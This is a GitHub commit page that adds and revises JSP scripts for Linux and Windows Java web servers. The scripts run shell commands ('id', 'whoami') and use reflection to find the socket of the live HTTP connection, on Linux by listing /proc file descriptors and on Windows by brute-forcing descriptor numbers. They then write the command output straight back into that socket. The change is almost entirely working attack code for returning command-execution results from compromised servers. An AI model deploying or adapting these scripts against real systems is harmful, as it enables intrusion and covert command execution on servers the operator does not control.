Skip to content

Commit 2a0c2ef

Browse files
author
feihong
committed
对 LinuxEcho/WindowsEcho 进行修改
1 parent c3f13d4 commit 2a0c2ef

File tree

5 files changed

+296
-181
lines changed

5 files changed

+296
-181
lines changed

‎Linux/code/case2-Deprecated.jsp‎

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'";
4+
String[] cmd = new String[]{"/bin/sh", "-c", command };
5+
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
6+
java.util.List res1 = new java.util.ArrayList();
7+
String line = "";
8+
while ((line = br.readLine()) != null){
9+
res1.add(line);
10+
}
11+
br.close();
12+
13+
Thread.sleep((long)2000);
14+
15+
command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'";
16+
cmd = new String[]{"/bin/sh", "-c", command };
17+
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
18+
java.util.List res2 = new java.util.ArrayList();
19+
while ((line = br.readLine()) != null){
20+
res2.add(line);
21+
}
22+
br.close();
23+
24+
int index = 0;
25+
int max = 0;
26+
for(int i = 0; i < res1.size(); i++){
27+
for(int j = 0; j < res2.size(); j++){
28+
if(((String)res2.get(j)).contains((String)res1.get(i))){
29+
String socketNo = ((String)res2.get(j)).split("\\s+")[1].substring(8);
30+
socketNo = socketNo.substring(0, socketNo.length() - 1);
31+
if(Integer.parseInt(socketNo) > max) {
32+
max = Integer.parseInt(socketNo);
33+
index = j;
34+
}
35+
}
36+
}
37+
}
38+
39+
int fd = Integer.parseInt(((String)res2.get(index)).split("\\s")[0]);
40+
java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
41+
c.setAccessible(true);
42+
cmd = new String[]{"/bin/sh", "-c", "echo \"It works!\"" };
43+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
44+
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
45+
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));
46+
os.write(result.getBytes());
47+
%>

‎Linux/code/case2.jsp‎

Lines changed: 47 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -1,47 +1,58 @@
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
22
<%
3-
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'";
4-
String[] cmd = new String[]{"/bin/sh", "-c", command };
5-
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
6-
java.util.List res1 = new java.util.ArrayList();
7-
String line = "";
8-
while ((line = br.readLine()) != null){
9-
res1.add(line);
10-
}
11-
br.close();
3+
if(java.io.File.separator.equals("/")){
4+
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'";
5+
String[] cmd = new String[]{"/bin/sh", "-c", command};
6+
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
7+
java.util.List res1 = new java.util.ArrayList();
8+
String line = "";
9+
while ((line = br.readLine()) != null && !line.trim().isEmpty()){
10+
res1.add(line);
11+
}
12+
br.close();
1213
13-
Thread.sleep((long)2000);
14+
try {
15+
Thread.sleep((long)2000);
16+
} catch (InterruptedException e) {
17+
//pass
18+
}
1419
15-
command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'";
16-
cmd = new String[]{"/bin/sh", "-c", command };
17-
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
18-
java.util.List res2 = new java.util.ArrayList();
19-
while ((line = br.readLine()) != null){
20-
res2.add(line);
21-
}
22-
br.close();
20+
command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'";
21+
cmd = new String[]{"/bin/sh", "-c", command};
22+
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
23+
java.util.List res2 = new java.util.ArrayList();
24+
while ((line = br.readLine()) != null && !line.trim().isEmpty()){
25+
res2.add(line);
26+
}
27+
br.close();
2328
24-
int index = 0;
25-
int max = 0;
26-
for(int i = 0; i < res1.size(); i++){
27-
for(int j = 0; j < res2.size(); j++){
28-
if(((String)res2.get(j)).contains((String)res1.get(i))){
29-
String socketNo = ((String)res2.get(j)).split("\\s+")[1].substring(8);
29+
int index = 0;
30+
int max = 0;
31+
for(int i = 0; i < res2.size(); i++){
32+
try{
33+
String socketNo = ((String)res2.get(i)).split("\\s+")[1].substring(8);
3034
socketNo = socketNo.substring(0, socketNo.length() - 1);
31-
if(Integer.parseInt(socketNo) > max) {
32-
max = Integer.parseInt(socketNo);
33-
index = j;
35+
for(int j = 0; j < res1.size(); j++){
36+
if(!socketNo.equals(res1.get(j))) continue;
37+
38+
if(Integer.parseInt(socketNo) > max) {
39+
max = Integer.parseInt(socketNo);
40+
index = j;
41+
}
42+
break;
3443
}
44+
}catch(Exception e){
45+
//pass
3546
}
3647
}
37-
}
3848
39-
int fd = Integer.parseInt(((String)res2.get(index)).split("\\s")[0]);
40-
java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
41-
c.setAccessible(true);
42-
cmd = new String[]{"/bin/sh", "-c", "echo \"It works!\"" };
43-
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
44-
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
45-
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));
46-
os.write(result.getBytes());
49+
int fd = Integer.parseInt(((String)res2.get(index)).split("\\s")[0]);
50+
java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
51+
c.setAccessible(true);
52+
cmd = new String[]{"/bin/sh", "-c", "id"};
53+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
54+
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
55+
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));
56+
os.write(result.getBytes());
57+
}
4758
%>

‎Windows/code/WindowsEcho-Deprecated.jsp‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
//准备工作&初始化
4+
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
5+
field.setAccessible(true);
6+
7+
Class clazz1 = Class.forName("sun.nio.ch.Net");
8+
java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",java.io.FileDescriptor.class);
9+
method1.setAccessible(true);
10+
11+
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
12+
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
13+
constructor2.setAccessible(true);
14+
15+
Class clazz3 = Class.forName("java.net.PlainSocketImpl");
16+
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
17+
constructor3.setAccessible(true);
18+
19+
java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class});
20+
write.setAccessible(true);
21+
22+
java.net.InetSocketAddress remoteAddress = null;
23+
java.util.List<Integer> list1 = new java.util.ArrayList<Integer>();
24+
java.util.List<Integer> list2 = new java.util.ArrayList<Integer>();
25+
java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
26+
27+
//第一次尝试
28+
for(int i = 0; i < 10000; i++){
29+
field.set(fileDescriptor, i);
30+
31+
try{
32+
remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, fileDescriptor);
33+
if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
34+
list1.add(i);
35+
}catch(Exception e){
36+
//pass
37+
}
38+
}
39+
40+
//延迟2s
41+
Thread.sleep(2000);
42+
43+
//第二次尝试
44+
for(int i = 0; i < 10000; i++){
45+
field.set(fileDescriptor, i);
46+
47+
try{
48+
remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, fileDescriptor);
49+
if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
50+
list2.add(i);
51+
}catch(Exception e){
52+
//pass
53+
}
54+
}
55+
56+
//取交集
57+
list1.retainAll(list2);
58+
59+
for(Integer fdVal : list1){
60+
try{
61+
field.set(fileDescriptor, fdVal);
62+
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
63+
64+
String res = new java.util.Scanner(Runtime.getRuntime().exec("echo \"It works!!\"").getInputStream()).useDelimiter("\\A").next();
65+
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
66+
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
67+
}catch (Exception e){
68+
//pass
69+
}
70+
}
71+
%>

‎Windows/code/WindowsEcho.jsp‎

Lines changed: 43 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -1,71 +1,50 @@
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
22
<%
3-
//准备工作&初始化
4-
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
5-
field.setAccessible(true);
6-
7-
Class clazz1 = Class.forName("sun.nio.ch.Net");
8-
java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",java.io.FileDescriptor.class);
9-
method1.setAccessible(true);
10-
11-
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
12-
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
13-
constructor2.setAccessible(true);
14-
15-
Class clazz3 = Class.forName("java.net.PlainSocketImpl");
16-
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
17-
constructor3.setAccessible(true);
18-
19-
java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class});
20-
write.setAccessible(true);
21-
22-
java.net.InetSocketAddress remoteAddress = null;
23-
java.util.List<Integer> list1 = new java.util.ArrayList<Integer>();
24-
java.util.List<Integer> list2 = new java.util.ArrayList<Integer>();
25-
java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
26-
27-
//第一次尝试
28-
for(int i = 0; i < 10000; i++){
29-
field.set(fileDescriptor, i);
30-
31-
try{
32-
remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, fileDescriptor);
33-
if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
34-
list1.add(i);
35-
}catch(Exception e){
36-
//pass
3+
if(java.io.File.separator.equals("\\")){
4+
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
5+
field.setAccessible(true);
6+
7+
Class clazz1 = Class.forName("sun.nio.ch.Net");
8+
java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",new Class[]{java.io.FileDescriptor.class});
9+
method1.setAccessible(true);
10+
11+
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
12+
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
13+
constructor2.setAccessible(true);
14+
15+
Class clazz3 = Class.forName("java.net.PlainSocketImpl");
16+
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
17+
constructor3.setAccessible(true);
18+
19+
java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class});
20+
write.setAccessible(true);
21+
22+
java.net.InetSocketAddress remoteAddress = null;
23+
java.util.List list = new java.util.ArrayList();
24+
java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
25+
for(int i = 0; i < 50000; i++){
26+
field.set((Object)fileDescriptor, (Object)(new Integer(i)));
27+
try{
28+
remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});
29+
if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
30+
if(remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue;
31+
list.add(new Integer(i));
32+
33+
}catch(Exception e){}
3734
}
38-
}
39-
40-
//延迟2s
41-
Thread.sleep(2000);
42-
43-
//第二次尝试
44-
for(int i = 0; i < 10000; i++){
45-
field.set(fileDescriptor, i);
46-
47-
try{
48-
remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, fileDescriptor);
49-
if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
50-
list2.add(i);
51-
}catch(Exception e){
52-
//pass
53-
}
54-
}
55-
56-
//取交集
57-
list1.retainAll(list2);
58-
59-
for(Integer fdVal : list1){
60-
try{
61-
field.set(fileDescriptor, fdVal);
62-
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
6335
64-
String res = new java.util.Scanner(Runtime.getRuntime().exec("echo \"It works!!\"").getInputStream()).useDelimiter("\\A").next();
65-
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
66-
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
67-
}catch (Exception e){
68-
//pass
36+
for(int i = list.size() - 1; i >= 0; i--){
37+
try{
38+
field.set((Object)fileDescriptor, list.get(i));
39+
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
40+
String[] cmd = new String[]{"cmd","/C", "whoami"};
41+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim();
42+
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n";
43+
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
44+
break;
45+
}catch (Exception e){
46+
//pass
47+
}
6948
}
7049
}
7150
%>

0 commit comments

Comments
 (0)